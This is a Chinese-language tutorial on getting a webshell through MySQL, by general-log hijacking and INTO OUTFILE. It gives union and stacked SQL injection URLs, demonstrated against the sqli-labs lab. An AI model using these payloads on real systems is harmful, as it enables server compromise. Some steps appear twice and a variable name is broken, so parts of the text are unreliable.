MySQL寫馬詳解
一.日志寫馬
1.1條件
1.全局變量general_log為ON
MySQL的兩個全局變量:
general_log指的是日志保存狀態,一共有兩個值(ON/OFF)ON代表開啟 OFF代表關閉。
general_log_file 指的是日志的保存路徑。
mysql> show global variables like "%general_log%";+------------------+--------------------------------------------------------+| Variable_name | Value |+------------------+--------------------------------------------------------+| general_log | OFF || general_log_file | D:\phpStudy\PHPTutorial\MySQL\data\DESKTOP-UQAMJKA.log |+------------------+--------------------------------------------------------+2 rows in set (0.02 sec)
如果目前這個general_log為off狀態,那么日志就沒有被記錄進去,所以要先打開這個全局變量。
set global general_log='on';
打開過后,日志文件中就會記錄我們寫的sql語句。我這里用sqli-labs來進行執行sql語句:
http://127.0.0.1/sqli-labs-master/Less-1/?id=-1%27%20union%20select%201,2,3--+
打開D:\phpStudy\PHPTutorial\MySQL\data\DESKTOP-UQAMJKA.log日志文件,成功記錄

注:不管sql語句是否正確都會記錄進去。
不過general_log_file可以直接通過SQL語句修改,而且必須修改為比如php后綴的文件,不然馬不能被解析。下面講第2點條件會詳細說明。
2.需要secure_file_priv為空,即secure_file_priv="";或者secure_file_priv為general_log_file 日志的保存路徑的磁盤。不過general_log_file可以直接通過SQL語句修改,必須要修改為比如php后綴的文件,不然馬不能被解析:
mysql> set global general_log_file='D:/1.log';Query OK, 0 rows affected (0.07 sec)mysql> show variables like "%general%";+------------------+----------+| Variable_name | Value |+------------------+----------+| general_log | ON || general_log_file | D:/1.log |+------------------+----------+2 rows in set (0.03 sec)#注:其中路徑里的\用\\或者/代替,因為\的話會消失一個mysql> set global general_log_file='D:\1.log';Query OK, 0 rows affected (0.06 sec)mysql> show variables like "%general%";+------------------+---------+| Variable_name | Value |+------------------+---------+| general_log | ON || general_log_file | D:1.log |+------------------+---------+2 rows in set (0.03 sec)
然后在D盤下就出現1.log成為新的日志文件了。但是最后也要考慮能不能成功的連接到馬,像如果secure_file_priv固定為G:\,而網站是搭在D盤上,那把general_log_file修改為G盤下的文件也連接不到,除非還有文件包含漏洞等等。
show global variables like '%secure%';查看可以寫入的磁盤。(1)當secure_file_priv為空,就可以寫入磁盤的目錄。(2)當secure_file_priv為G:\,就可以寫入G盤的文件。(3)當secure_file_priv為null,into outfile就不能寫入文件。(注意NULL不是我們要的空,NULL和空的類型不一樣)
secure_file_priv=””就是可以into outfile寫入任意磁盤文件。
secure_file_priv設置通過設置my.ini來配置,不能通過SQL語言來修改,因為它是只讀變量,secure_file_priv設置具體看這里:
若secure_auth為ON,則用以下方法變為OFF(mysql查詢默認是不區分大小寫的)

secure_file_priv不能通過此方法修改,因為報錯為Variable ‘XXX’ is a read only variable。報錯原因及修改方法為:參數為只讀參數,需要在mysql.ini配置文件中更改該參數,之后重啟數據庫

將secure_file_priv為空的正確方法(注意NULL不是我們要的空,NULL和空的類型不一樣)

3.對web目錄有寫權限MS的系統就不說了,一般都會有權限的,但是linux的系統,通常都是rwxr-xr-x,也就是說組跟其他用戶都沒有權限寫操作。
4.知道物理路徑(into outfile ‘物理路徑’), 這樣才能寫對目錄。
查select @@b asedir;——MySQL數據庫安裝的絕對路徑:
mysql> select @@b asedir;+--------------------------------+| @@b asedir |+--------------------------------+| D:/phpStudy/PHPTutorial/MySQL/ |+--------------------------------+1 row in set (0.07 sec)
5.(1)union注入在這里行不通。
因為要日志寫馬能夠連接必須要修改general_log_file為比如php后綴的文件,不然馬不能被解析。所以必須要先用到set global general_log_file='...php';,那么union注入就沒機會了,union基本都是?id=1 union select 1,2,select '';這樣,不能執行set的。
(2)有堆疊注入,要先?id=1;set global general_log_file='...php';,然后直接執行?id=1;select '';
不過首先要想有堆疊注入的條件,源碼中必須要用到mysqli_multi_query(),那么我們此處就可以執行多個sql語句進行注入。一般后臺查詢數據庫使用的語句都是用mysql_query(),所以堆疊注入在mysql上不常見。mysqli_multi_query()可以執行多個sql語句,而mysqli_query()只能執行一個sql語句。
堆疊注入的局限性在于并不是每一個環境下都可以執行,可能受到API或者數據庫引擎不支持的限制,當然了權限不足也可以解釋為什么攻擊者無法修改數據或者調用一些程序。
(3)再者就是已經成功登錄到別人的數據庫里了,要先set global general_log_file='...php';,然后直接執行select '';
6.對方沒有對'和"進行過濾,因為outfile后面的物理路徑必須要有引號
1.2.用法
例子:直接登錄進別人的數據庫的時候:
set global general_log_file='...php';select '';
或者堆疊注入:
set global general_log_file='...php';?id=1;select '';或者直接?id=;都可以了,因為sql語句不管對錯日志都會記錄
1.3過程
這里展示下堆疊注入的日志寫馬過程,用的是sqli-labs的靶場:
實戰中堆疊注入來日志寫馬就不能用show來看全局變量的值了,所以就直接用sql語句修改。
1.先設置general_log為on:
http://127.0.0.1/sqli-labs-master/Less-38/?id=-1' union select 1,2,3;set global general_log='on';--+
2.再設置general_log_file為一個php后綴文件:
http://127.0.0.1/sqli-labs-master/Less-38/?id=-1' union select 1,2,3;set global general_log_file='D:\\phpStudy\\PHPTutorial\\WWW\\log.php';--+
注:其中路徑里的\用\\或者/代替,因為\的話會消失一個
在Navicat中查詢可以看到真的被改了:

可以看到這里必須要知道網站的絕對路徑了。
3.secure_file_priv設置只能通過設置my.ini來配置,不能直接通過SQL語句來修改,因為它是只讀變量。而且這里也不能show來看,所以只能看緣分~
4.http://127.0.0.1/sqli-labs-master/Less-38/?id=1';select '';--+

或者直接?id=;都可以了,因為sql語句不管對錯日志都會記錄
5.最后可以用shell管理工具來連接了。比如我這里用蟻劍成功了:

直接成功登錄數據庫的日志寫馬可以說是方法和堆疊注入的差不多,就是可以用show來看全局變量的值。這里就不贅述了。
二、mysql into outfile注射一句話木馬
2.1條件
關于mysql into outfile注射,要使用into outfile 把木馬寫到web目錄拿到webshell首先需要有幾個條件:
1.就是mysql用戶擁有file_priv權限(不然就不能寫文件或者讀文件)
show global variables like '%secure%';查看into outfile可以寫入的磁盤。(1)當secure_file_priv為空,就可以寫入磁盤的目錄。(2)當secure_file_priv為G:\,就可以寫入G盤的文件。(3)當secure_file_priv為null,into outfile就不能寫入文件。(注意NULL不是我們要的空,NULL和空的類型不一樣)
secure_file_priv=””就是可以into outfile寫入任意磁盤文件。
secure_file_priv設置通過設置my.ini來配置,不能通過SQL語言來修改,因為它是只讀變量,secure_file_priv設置具體看這里:
若secure_auth為ON,則用以下方法變為OFF(mysql查詢默認是不區分大小寫的)

secure_file_priv不能通過此方法修改,因為報錯為Variable ‘XXX’ is a read only variable。報錯原因及修改方法為:參數為只讀參數,需要在mysql.ini配置文件中更改該參數,之后重啟數據庫

將secure_file_priv為空的正確方法(注意NULL不是我們要的空,NULL和空的類型不一樣)

2.對web目錄有寫權限MS的系統就不說了,一般都會有權限的,但是linux的系統,通常都是rwxr-xr-x,也就是說組跟其他用戶都沒有權限寫操作。
3.知道物理路徑(into outfile ‘物理路徑’), 這樣才能寫對目錄。
查select @@b asedir;——MySQL數據庫安裝的絕對路徑:
mysql> select @@b asedir;+--------------------------------+| @@b asedir |+--------------------------------+| D:/phpStudy/PHPTutorial/MySQL/ |+--------------------------------+1 row in set (0.07 sec)
4.(1)能夠使用union 。(需要mysql 3以上的版本)這個條件是在url里才需要,如果直接登錄進別人的數據庫,那么就不需要能夠使用union了
例子:?id=1 union select '' into outfile "C:/phpStudy/WWW/a.php"?id=1')) UNION SELECT 1,2,'' into outfile "D:\\phpStudy\\PHPTutorial\\WWW\\hack.php" --+
(2)或者有堆疊注入,就可以直接?id=1;select '' into outfile "C:/phpStudy/WWW/a.php"這樣執行了。
不過首先要想有堆疊注入的條件,源碼中必須要用到mysqli_multi_query(),那么我們此處就可以執行多個sql語句進行注入。一般后臺查詢數據庫使用的語句都是用mysql_query(),所以堆疊注入在mysql上不常見。mysqli_multi_query()可以執行多個sql語句,而mysqli_query()只能執行一個sql語句。
堆疊注入的局限性在于并不是每一個環境下都可以執行,可能受到API或者數據庫引擎不支持的限制,當然了權限不足也可以解釋為什么攻擊者無法修改數據或者調用一些程序。
(3)再者就是已經成功登錄到別人的數據庫里了,直接執行select '' into outfile "C:/phpStudy/WWW/a.php"
5.對方沒有對'和"進行過濾,因為outfile后面的物理路徑必須要有引號
所以,要滿足這幾個條件還是蠻高難度的。
如果都滿足,寫入成功了,那么就可以用shell管理工具進行Getshell了
三、MySQL寫入數據select into outfile一句話木馬用法
例子:直接登錄進別人的數據庫的時候:
SELECT ""INTO OUTFILE '/tmp/test1.php'
在url里要用union:
例子:?id=1 union select '' into outfile "C:/phpStudy/WWW/a.php"?id=1')) UNION SELECT 1,2,'' into outfile "D:\\phpStudy\\PHPTutorial\\WWW\\hack.php" --+
或者堆疊注入:
?id=1');SELECT '' into outfile "D:\\phpStudy\\PHPTutorial\\WWW\\hack.php";--+
3.1注意
其中路徑里的\用\\或者/代替,因為\的話會消失一個
3.2過程
1.判斷注入類型
http://127.0.0.1/sqli-labs-master/Less-7/?id=1' 報錯http://127.0.0.1/sqli-labs-master/Less-7/?id=1')) --+ 正常
2.判斷列數
http://127.0.0.1/sqli-labs-master/Less-7/?id=1')) order by 3 --+ 正常
http://127.0.0.1/sqli-labs-master/Less-7/?id=1')) order by 4 --+ 報錯
說明存在3列
3.文件寫入
1.判斷注入類型
http://127.0.0.1/sqli-labs-master/Less-7/?id=1' 報錯http://127.0.0.1/sqli-labs-master/Less-7/?id=1')) --+ 正常
2.判斷列數
http://127.0.0.1/sqli-labs-master/Less-7/?id=1')) order by 3 --+ 正常
http://127.0.0.1/sqli-labs-master/Less-7/?id=1')) order by 4 --+ 報錯
說明存在3列
3.文件寫入
http://127.0.0.1/sqli-labs-master/Less-7?id=1')) UNION SELECT 1,2,'' into outfile "D:\\phpStudy\\PHPTutorial\\WWW\\hack.php" --+
或者"D:/phpStudy/PHPTutorial/WWW/hack.php",就是不能\,經過測試這樣導入不成功。

上面的圖中報了錯:You have an error in your SQL syntax,顯示sql出錯了,但是沒有關系,我們可以在文件中看到hack.php已經生成了。

這時候用菜刀等webshell管理工具連接就可以了,我下面用的是蟻劍,可以看到連接成功。

堆疊注入:http://127.0.0.1/sqli-labs-master/Less-40/?id=1');SELECT '' into outfile "D:\\phpStudy\\PHPTutorial\\WWW\\hack.php";--+
然后該目錄下便生成了我們的馬兒,用shell管理工具便可成功連接。從這里可以看到一定要知道網站的絕對路徑。
直接成功登錄數據庫的into outfile寫入一句話木馬可以說是方法和前面兩個的差不多,就是可以用show來看全局變量的值。這里就不贅述了。
喜歡此文的師傅們,歡迎三連一波!!!!